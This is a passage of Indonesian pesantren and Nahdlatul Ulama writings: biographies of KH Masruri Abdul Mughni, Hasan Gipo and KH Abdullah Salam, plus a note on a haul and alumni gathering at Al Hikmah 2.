
Pun demikian, sejatinya kasih sayang Abah pada santrinya tak terbatas oleh ruang dan waktu. Jauh dari itu, Abah selalu menekankan setiap santrinya untuk mengamalkan setiap ilmu yang telah didapatkannya, agar menjadi pribadi yang shaleh dan selamat dunia akhirat. Seperti salah satu ndawuh Abah bagi setiap santrinya untuk menghafal dan mendawamkan pembacaan surat Al–Mulk (Tabarak). Sebagaimana keterangan dalam sebuah bahwa hadist bahwa siapa saja yang melanggengkan membaca surat ini, maka Al Mulk akan menjadi pembelanya dari azab kubur, menjadi syafa’at sehingga diampuni dosanya oleh Allah, dan dikeluarkan Allah SWT dari neraka sehingga dimasukkan kedalam surga. Dalam satu kesempatan di hadapan santrinya, Abah Yai pernah berkata bahwa surat menghafal surat Al Mulk adalah utang setiap santri pada Abah. Utang yang jika tidak dibayarkan (dengan menghafal) akan terus dipertanyakan oleh Abah bahkan hingga di akhirat nanti.

Penggagas Beasiswa Falak

Terhadap perkembangan keislaman nusantara, Abah Yai pun secara khusus menaruh perhatiannya. Melihat minimnya generasi muda Islam yang di bidang falak, tahun 2005 bertempat di Pondok Pesantren Al Hikmah, Abah Yai mengadakan pelatihan falak khusus untuk beberapa pesantren dan kepala kantor urusan agama (KUA). Pelatihan ini diadakan atas dasar keprihatinan Abah terhadap minimnya pengetahuan dan ketersediaan ahli falak di masyarakat Islam. Karena dianggap sukses dalam pelatihan itu, akhirnya Abah mencoba mengadakan pelatihan Falak kembali dengan sasaran pesantren dan Kiai se Jawa Tengah.

Pada waktu itu keinginnannya untuk memadukan antara ahli falak Indonesia dengan beberapa ahli falak dari luar, mulai menampakkan hasil. Dalam acara acara pelatihan ini hadir pula tokoh Kemenag, diantaranya Amin Haedari yang saat itu menjabat sebagai direktur Pendidikan Diniyah dan Pondok Pesantren ( PD Pontren), Kakanwil Depag Jawa Tengah Habib Toha, Kepala Badan Hisab Rukyat Jawa Tengah Slamet Hambali, serta ahli Falak IAIN Walisongo Ahmad Izzuddin, dan masih beberapa tokoh lain.

Dari sinilah, kemudian beberapa tokoh ini akhirnya mengusulkan kepada Amin Haedari untuk membuka program beasiswa khusus ilmu Falak yang saat ini dikonsentrasikan di IAIN Walisongo Semarang.

Berpulang Ke Rahmatullah

Innaalillahi wainnaailahi roji’un. Segala sesuatu adalah milik Allah dan akan kembali kepada-Nya. Berangkat bersama keluarga dan rombongan terbang (Kloter) 49 Embarkasi SOC (Solo) bersama 400-an jamaah lainnya untuk menunaikan ibadah haji, Abah Yai Mochammad Masruri Abdul Mughni dipanggil Allah SWT untuk berpulang kepada-Nya.

Setelah melaksanakan shalat Arba’in di Masjid Nabawi, kamis malam (17/11 ) Abah Yai merasakan kecapaian. Petugas pun kemudian membawa Abah ke Balai Pengobatan Haji Indonesia (BPHI) di Madinah. Karena kondisinya terus menurun, akhirnya petugas melarikan ke Rumah Sakit Al-Anshor . Sabtu pagi, Kondisi Abah sempat membaik, bahkan selang ventilator yang terpasang dilepas oleh tim dokter.

Namun, Sabtu malam pukul 23.00 WSA (Waktu Saudi Arabia) kondisi Abah kembali menurun.. Di rumah sakit tersebutlah, di tanah suci Madinah Al Munawwarah, Romo KH. Moch Masruri Abdul Mughni dipanggil ke haribaan Allah Subhanuwata’ala Ahad pagi (20/11) pukul 00.15 Waktu Arab Saudi (WAS) atau pukul 04.15 WIB. Abah meninggal dalam usia 68 tahun.

Setelah dishalati di Masjid Nabawi selepas shalat shubuh, atas permintaan Abah sendiri jenazah Beliau disemayamkan di komplek pemakaman Baqi’ di dekat masjid Nabawi bersama istri, para sahabat Rasulullah dan para masyayikh.

sumber : Alhikmahdua.net

Gus Itmam : ORDA Mampu Eratkan Tali Persaudaraan Alumni

Abah

Jumat (09/10) malam tadi, Gus Itmam menyampaikan kepada seluruh panitia Haul dan perwakilan ORDA, bahwasanya setiap ORDA boleh mengadakan pertemuan bersama para Alumni setelah acara Haul selesai.

Tujuan diadakanya acara tersebut untuk menjaga tali silaturrahmi antara alumni dengan santri mukim, selain itu juga sharing saling memberi motifasi, gus Itmam juga menyarankan bakhti sosial keagamaan BSK yang akan diadakan bulan Desember ini, agar para Alumni dapat membantu persiapan BSK, terutama hal cek lokasi.

Menurut jadwal Haul yang disampaikan oleh gus Nasyar, bahwasanya Senin (12/10) malam akan diadakanya pemaparan biografi Abah Masrur di GOR, Selasa (13/10) sejak pagi sampai sore akan diadakanya simakan Al Quran di setiap mushalla, lembaga dan seluruh ndalem putra Almarhum.

Dan acara puncak yaitu hari Rabu (14/09) pagi akan dilaksanakan pertemuan Alumni dengan keluarga besar Al Hikmah 2, dilanjut pukul 12.30 yasin tahlil dan pengajian umum.

 

 

Via www.alhikmahdua.net

HASAN GIPO Sudagar-Aktivis, Ketua Tanfidziyah NU Pertama (1)

Tokoh yang satu ini sangat terkenal, karena dialah orang yang pertama kali medampingi Kiai Hasyim Asy’ari dalam mengurus NU. Walaupun tokoh itu terkenal, tetapi sangat sedikit diketahui, sehingga kehadirannya masih sangat misterius.

Ia lahir dari lingkungan keliuarga santri yang kaya, yang bertempat tinggal di kawasan perdagangan elite di Ngampel yang bersebelahan dengan pusat perdagangan di Pabean, sebuah pelabuhan sungai yang berada di tengah kota Surabaya yang berdempetan dengan Jembatan Merah. Dinasti Gipo ini didirikan oleh Abdul Latif Sagipoddin (Tsaqifuddin) yang disingkat dengan Gipo.

Mereka ini adalah masih santri bahkan kerabat dari Sunan Ampel, karena itu keislamannya sangat mendalam, sebagai pemuda yang hidup dikawasan bisnis yang berkembang sejak zaman Majapahit itu, Sagipoddin memiliki etos kewiraswastaan yang tinggi.

Prosesi bisnisnya ditekuni mulai dari pedagang beras eceran, dengan cara itu ia memiliki kepandaian tersendiri dalam menaksir kualitas beras. Keahliannya itu semakin hari semakin tenar, sehingga para pedagang dan terutama importir beras banyak yang menggunakan jasanya sebagai konsultan kualitas beras. Dengan profesinya itu ia mulai mendapat banyak rekanan bisnis dengan modal keahlian bukan uang.

Ketika usinya sudah menjelang dewasa, ia diambil menantu oleh seorang saudagar Cina. Engan modal besar dari mertuanya itulah ia bisa melakukan impor beras sendiri dari Siam, sehingga keuntungannya semakin besar dan semakin kaya. Perjalannya ke luar negeri semakin memperbesar rekanan bisnisnya, beberapa pengusaha dari Pakistan, Arab Persia dan India digandeng, sehingga semakin memperbesar volume ekspornya.

Selain itu juga mulai melakukan diversifikasi usaha dengan mengimpor tekstil dari India. Karena itu ia menjadi pengusaha besar di kawasan perdagaangan Pabean, sehingga tanah-tanah di situ dikuasai.

Tetapi ketika perkembangan bisnisnya terlalu ekspansif, maka akhirnya ia kebobolan juga, karena beras yang diimpor dari Siam itu dipalsu oleh rekanan bisnisnya dari Pakistan ditukar dengan wijen, yang waktu itu harga wijin sangat rendah dibanding harga beras. Selain itu wijen tidak dibutuhkan dlam skala besar. Dengan penipuan itu bisnisnya sempat limbung selama beberapa bulan. Modal mandek, uang tidak bisa diputar karena tertimbun menjadi wijen yang tidak laku dijual, paling laku satu dua kilo untuk penyedap makanan. Sebagai anak muda yang baru bangkit, sangat terpukul dengan penipuan itu.

Namun mertuanya yang pengusaha kawakan itu tidak menyalahkan malah menyabarkan, karena kerugian merupakan risiko setiap bisnis. Ini sebuah cobaan dari Allah yang harsu diterima. Dengan sabar, syukur dan tawakkal serta usaha keras Insyaallah suatu ketika keuntungan akan diperoleh kembali, demikian nasehatnya. Sebagai seorang santri yang taat ia hanya bisa pasrah dan berdoa serta tetap berusaha.

Di tengah kelesuan bisnisnya itu tiba-tiba pemerintah Belanda membutuhkan wijen dalam jumlah besar. Tentu saja tidak ada pengusaha yang memiliki dagangan yang aneh itu, setelah dicari kesana kemari akhirnya Belanda tahu bahwa Sagipoddin memiliki segudang wijen. Belanda sangat senang dengan ketersediaan wijen yang tak terduga itu, karena itu berani membeli dengan harga mahal.

Bak pucuk dicinta ulam tiba, maka minat Belanda itu tidak disia-siakan. Karena wijen itu dulunya dibeli seharga beras, maka Sagipoddin minta sekarang dibeli dengan seharga beras. Belanda yang lagi butuh tidak keberatan dengan harga mahal yang ditentukan itu, lalu dibelilah seluruh wijen Sagipoddin, maka keuntungan yang diperoleh berlipat ganda, sehingga perdaganannya juga semakin besar.

Keuntungan itu dipergunakan untuk mempercepat ekspansi bisnisnya, dan kawasan perdagangan yang strategis mulai dibelinya, yang kemudian dijadikan pertokoan dan pergudangan. Akhirnya ia juga bisnis persewaan toko, penginapan dan pergudangan. Sebagai seorang santri taat ia banyak pergunakan hartanya untuk sedekah membangun pesantren dan masjid.

Banyak kiai besar yang diundang kerumahnya, Sagipoddin sangat senang bila kia yang berkunjung mau menginap di rumahnya, maka pulangnya mereka diberi berbagai macam sumbangan untuk pembangunan sarana pendidikan dan ibadah, sehingga dalam waktu singkat Sagipoddin sangat terkenal di Surabaya dan Jawa Timur pada umumnya. Walaupun ia bukan ulama tetapi karena masih keturunan ulama, maka ia sangat hormat dan mencintai ulama.

Abdul Latif Sagipuddin ini menikah dengan Tasirah mempunyai 12 orang anak, salah satunya bernama H. Turmudzi, yang kawin dengan Darsiyah, mempunyai anak yang bernama H. Alwi, kemudian Alwi mempunyai sepuluh orang anak yang salah satunya bernama Marzuki. Dari H Marzuki itulah kemudian lahir seorang anak yang bernama Hasan, yang lahir pada 1896 di Ampel pusat kota Surabaya yang kemudian dikenal dengan Hasan Gipo. Jadi ia merupakan generasi kelima dari dinasti Gipo.

Sebagai seorang yang mampu secara ekonomi Hasan Gipo juga mendapatkan pendidikan cukup memadai selain belajar di beberapa pesantren di sekitar surabaya, juga sekolah di pendidikan umum ala Belanda. Meskipun mendapatkan pendidikan model Belanda tetapi jiwa kesantriannya masih sangat kental dan semangat kewiraswastaannya sangat tinggi, sehingga kepemimpinan ekonomi di kawasan bisnis Pabean masih dipegang oleh keluarga itu, hingga masa Hasan Gipo.

Karena hampir seluruh kiai Jawa Timur merasa sebagai santri dan pengikut Sunan Ampel, maka setiap saat mereka berziarah ke makam keramat di kota Surabaya itu. Kunjungan mereka itu banyak disambut oleh keluarga Gipo di Ampel. Persahabatan Hassan Gipo dengan para ulama yang telah dirintis kakeknya terus dilanjutkan, sehingga ia sangat dikenal oleh kalangan ulama, sebagai saudagar, aktivis pergerakan �dan administratur yang cerdik. Tidak sedikit pertemuan para ulama baik untuk bahsul masail maupun untuk membahas perkembangan politik yang dibeayai dan difasilitasi oleh Hasan Gipo. Sebagai sesama penerus Sunan Ampel dan sesama sudagar membuat Hasan Gipo sering bertemu dengan KH Wahab Hasbullah dalam dunia pergerakan.

Sebagai seorang pedagang dan sekaligus aktivis pergerakan yang tinggal di kawasan elite Surabaya, hal itu sangat membantu pergerakan Kiai Wahab. Dialah yang selalu mengantar Kiai Wahab menemui para aktivis pergerakan yang ada di Surabaya, seperti HOS Cokroaminoto, Dr. Soetomo dan lain sebagainya. Di situlah Kiai Wahab dan Hasan Gipo berkenalan dengan para murid HOS Cokroaminoto seperti Soekarno, Kartosuwiryo, Muso, SK Trimurti dan masih banyak lagi. Di situlah para aktivis pergerakan nasional baik dari kalangan nasionais dan santri bertemu merencanakan kemerdekaan Indonesia. (Bersambung….)

KH ABDULLAH SALAM Wali yang Penuh Karamah

Kewalian Mbah Dullah, KH Abdullah Salam dari Kajen Pati, diakui justru karena sepanjang hidupnya, ia berusaha melaksanakan ajaran dan keteladanan pemimpin agungnya, Muhammad SAW. Terutama dalam sikap, perilaku, dan kegiatan-kegiatannya; baik yang berhubungan dengan Allah maupun dengan sesama hambaNya.

 

Berperawakan gagah. Hidung mancung. Mata menyorot tajam. Kumis dan jenggotnya yang putih perak, menambah wibawanya. Hampir selalu tampil dengan pakaian putih-putih bersih, menyempurnakan kebersihan raut mukanya yang sedap dipandang.

 

Melihat penampilan dan rumahnya yang tidak lebih baik dari gotakan tempat tinggal santri-santrinya, mungkin orang akan menganggapnya miskin; atau minimal tidak kaya. Tapi tengoklah; setiap minggu sekali pengajiannya diikuti oleh ribuan orang dari berbagai penjuru dan semuanya disuguhi makan.

 

Selain pengajian-pengajian itu, setiap hari ia menerima tamu dari berbagai kalangan yang rata-rata membawa masalah untuk dimintakan pemecahannya. Mulai dari persoalan keluarga, ekonomi, hingga yang berkaitan dengan politik. Bahkan pedagang akik dan minyak pun beliau terima dan beliau ‘beri berkah’ dengan membeli dagangan mereka.

 

Ketika ia masih menjadi pengurus (Syuriyah) NU, aktifnya melebihi yang muda-muda. KH Abdullah Salam tidak pernah absen menghadiri musyawarah semacam Bahtsul masaail, pembahasan masalah-masalah yang berkaitan dengan agama, yang diselenggarakan wilayah maupun cabang. Pada saat pembukaan muktamar ke 28 di Situbondo, panitia memintanya –atas usul kiai Syahid Kemadu—untuk membuka Muktamar dengan memimpin membaca Fatihah 41 kali. Dan ia jalan kaki dari tempat parkir yang begitu jauh ke tempat sidang, semata-mata agar tidak menyusahkan panitia.

 

Semasa kondisi tubuh nya masih kuat, ia juga melayani undangan dari berbagai daerah untuk memimpin khataman Quran, menikahkan orang, memimpin doa, dsb.

 

Ketika kondisi nya sudah tidak begitu kuat, orang-orang pun menyelenggarakan acaranya di rumahnya. Mbah Dullah, begitu orang memanggil kiai sepuh haamilul Qur’an ini, meskipun sangat disegani dan dihormati termasuk oleh kalangan ulama sendiri, ia termasuk kiai yang menyukai musyawarah.

 

Ia bersedia mendengarkan bahkan tak segan-segan meminta pendapat orang, termasuk dari kalangan yang lebih muda. Ia rela meminjamkan telinganya hingga untuk sekedar menampung pembicaraan-pembicaraan sepele orang awam. Ini adalah bagian dari sifat tawaduk dan kedermawanannya yang sudah diketahui banyak orang.

 

Tawadu atau rendah hati dan kedermawanan adalah sikap yang hanya bisa dijalani oleh mereka yang kuat lahir batin, seperti Mbah Dullah. Mereka yang mempunyai (sedikit) kelebihan, jarang yang mampu melakukannya. Mempunyai sedikit kelebihan, apakah itu berupa kekuatan, kekuasaan, kekayaan, atau ilmu pengetahuan, biasanya membuat orang cenderung arogan atau minimal tak mau direndahkan.

 

Rendah hati berbeda dengan rendah diri. Berbeda dengan rendah hati yang muncul dari pribadi yang kuat, rendah diri muncul dari kelemahan. Mbah Dullah adalah pribadi yang kuat dan gagah luar dalam. Kekuatannya ditopang oleh kekayaan lahir dan terutama batin. Itu sebabnya, disamping dermawan dan suka memberi, Mbah Dullah termasuk salah satu –kalau tidak malah satu-satunya – kiai yang tidak mudah menerima bantuan atau pemberian orang, apalagi sampai meminta. Pantangan. Seolah-olah beliau memang tidak membutuhkan apa-apa dari orang lain. Bukankah ini yang namanya kaya?

 

Ya, mbah Dullah adalah tokoh yang mulai langka di zaman ini. Tokoh yang hidupnya seolah-olah diwakafkan untuk masyarakat. Bukan saja karena ia punya pesantren dan madrasah yang sangat berkualitas; lebih dari itu sepanjang hidupnya, mbah Dullah tidak berhenti melayani umat secara langsung maupun melalui organisasi (Nahdlatul Ulama).

 

Mungkin banyak orang yang melayani umat, melalui organanisi atau langsung; tetapi yang dalam hal itu, tidak mengharap dan tidak mendapat imbalan sebagaimana mbah Dullah, saya rasa sangat langka saat ini. Melayani bagi mbah Dullah adalah bagian dari memberi. Dan memberi seolah merupakan kewajiban bagi beliau, sebagaimana meminta –bahkan sekedar menerima imbalan jasa– merupakan salah satu pantangan utama.

 

Ia tidak hanya memberikan waktunya untuk santri-santrinya, tapi juga untuk orang-orang awam. Beliau mempunyai pengajian umum rutin untuk kaum pria dan untuk kaum perempuan yang beliau sebut dengan tawadluk sebagai ‘belajar bersana’. Mereka yang mengaji tidak hanya beliau beri ilmu dan hikmah, tapi juga makan setelah mengaji.

 

Pernah ada seorang kaya yang ikut mengaji, berbisik-bisik: “Orang sekian banyaknya yang mengaji kok dikasi makan semua, kan kasihan kiai.” Dan orang ini pun sehabis mengaji menyalami mbah Dullah dengan salam tempel, bersalaman dengan menyelipkan uang. Spontan mbah Dullah minta untuk diumumkan, agar jamaah yang mengaji tidak usah bersalaman dengannya sehabis mengaji. “Cukup bersalaman dalam hati saja!” katanya.

 

Konon orang kaya itu kemudian diajak Mbah Dullah ke rumahnya yang sederhana dan diperlihatkan tumpukan karung beras yang nyaris menyentuh atap rumah, “Lihatlah, saya ini kaya!” kata mbah Dullah kepada tamunya itu.

 

Memang hanya hamba yang fakir ilaLlah-lah, seperti mbah Dullah, yang sebenar-benar kaya.

 

Kisah lain; pernah suatu hari datang menghadap Mbah Dullah, seseorang dari luar daerah dengan membawa segepok uang ratusan ribu. Uang itu disodorkan kepada Mbah Dullah sambil berkata: “Terimalah ini, mbah, sedekah kami ala kadarnya.”

 

“Di tempat Sampeyan apa sudah tak ada lagi orang faqir?” tanya mbah Dullah tanpa sedikit pun melihat tumpukan uang yang disodorkan tamunya, “kok Sampeyan repot-repot membawa sedekah kemari?”

 

“Orang-orang faqir di tempat saya sudah kebagian semua, mbah; semua sudah saya beri.”

 

“Apa Sampeyan menganggap saya ini orang faqir?” tanya mbah Dullah.

 

“Ya enggak, mbah …” jawab si tamu terbata-bata.

 

Belum lagi selesai bicaranya, mbah Dullah sudah menukas dengan suara penuh wibawa: “Kalau begitu, Sampeyan bawa kembali uang Sampeyan. Berikan kepada orang faqir yang memerlukannya!”

 

Kisah di atas yang beredar tentang ‘sikap kaya’ mbah Dullah semacam itu sangat banyak dan masyhur di kalangan masyarakat daerahnya.

 

Mbah Dullah ‘memiliki’, di samping pesantren, madrasah yang didirikan bersama rekan-rekannya para kiai setempat. Madrasah ini sangat terkenal dan berpengaruh; termasuk –kalau tidak satu-satunya— madrasah yang benar-benar mandiri dengan pengertian yang sesungguhnya dalam segala hal.

 

32 tahun pemerintah orde baru tak mampu menyentuhkan bantuan apa pun ke madrasah ini. Orientasi keilmuan madrasah ini pun tak tergoyahkan hingga kini. Mereka yang akan sekolah dengan niat mencari ijazah atau kepentingan-kepentingan di luar ‘menghilangkan kebodohan’, jangan coba-coba memasuki madrasah ini.

 

Ini bukan berarti madrasahnya itu tidak menerima pembaruan dan melawan perkembangan zaman. Sama sekali. Seperti umumnya ulama pesantren, beliau berpegang kepada ‘Al-Muhaafadhatu ‘alal qadiimis shaalih wal akhdzu bil jadiidil ashlah’, “ Memelihara yang lama yang relevan dan mengambil yang baru yang lebih relevan”. Hal ini bisa dilihat dari kurikulum, sylabus, dan matapelajaran-matapelajaran yang diajarkan yang disesuaikan dengan kebutuhan zaman.

 

Singkat kata, sebagai madrasah tempat belajar, madrasah mbah Dullah mungkin sama saja dengan yang lain. Yang membedakan ialah karakternya.

 

Agaknya mbah Dullah –rahimahullah — melalui teladan dan sentuhannya kepada pesantren dan madrasahnya, ingin mencetak manusia-manusia yang kuat ‘dari dalam’; yang gagah ‘dari dalam’; yang kaya ‘dari dalam’; sebagaimana ia sendiri. Manusia yang berani berdiri sendiri sebagai khalifah dan hanya tunduk menyerah sebagai hamba kepada Allah SWT.

 

Bila benar; inilah perjuang yang luar biasa berat. Betapa tidak? Kecenderungan manusia di akhir zaman ini justru kebalikan dari yang mungkin menjadi obsesi mbah Dullah. Manusia masa kini justru seperti cenderung ingin menjadi orang kuat ‘dari luar’; gagah ‘dari luar’; kaya ‘dari luar’, meski terus miskin di dalam.

 

Orang menganggap dirinya kuat bila memiliki sarana-sarana dan orang-orang di luar dirinya yang memperkuat; meski bila dilucuti dari semua itu menjadi lebih lemah dari makhluk yang paling lemah. Orang menganggap dirinya gagah bila mengenakan baju gagah; meski bila ditelanjangi tak lebih dari kucing kurap. Orang menganggap dirinya kaya karena merasa memiliki harta berlimpah; meski setiap saat terus merasa kekurangan.

 

Sayang sekali jarang orang yang dapat menangkap kelebihan mbah Dullah yang langka itu. Bahkan yang banyak justru mereka yang menganggap dan memujanya sebagai wali yang memiliki keistimewaan khariqul ‘aadah. Dapat melihat hal-hal yang ghaib; dapat bicara dengan orang-orang yang sudah meninggal; dapat menyembuhkan segala penyakit; dsb. dst. Lalu karenanya, memperlakukan orang mulia itu sekedar semacam dukun saja. Masya Allah!

 

Dari sentuhan tangan dinginnya di Pesantren yang terletak di pinggiran pantai utara Jawa itu, lahir ulama-ulama besar seperti KH Sahal Mahfudz, KH Abdurrahman Wahid dll.

 

Begitulah; Mbah Dullah yang selalu memberikan keteduhan itu telah meninggalkan kita di dunia yang semakin panas ini. Ia sengaja berwasiat untuk segera dimakamkan apabila meninggal. Agaknya ia, seperti saat hidup, tidak ingin menyusahkan atau merepotkan orang. Atau, siapa tahu, kerinduannya sudah tak tertahankan untuk menghadap Khaliqnya.

 

25 Sya’ban 1422 bertepatan 11 November 2001 sore, ketika Mbah Dullah dipanggil ke rahmatullah, wasiat pun dilaksanakan. Ia dikebumikan sore itu juga di dekat surau sederhananya di Polgarut Kajen Pati.

 

“Wahai jiwa yang tenang, kembalilah kepada Tuhanmu dengan rida dan diridai, masuklah ke dalam golongan hamba-hamba-sejatiKu, dan masuklah ke dalam sorgaKu!”

sumber http://www.nu.or.id/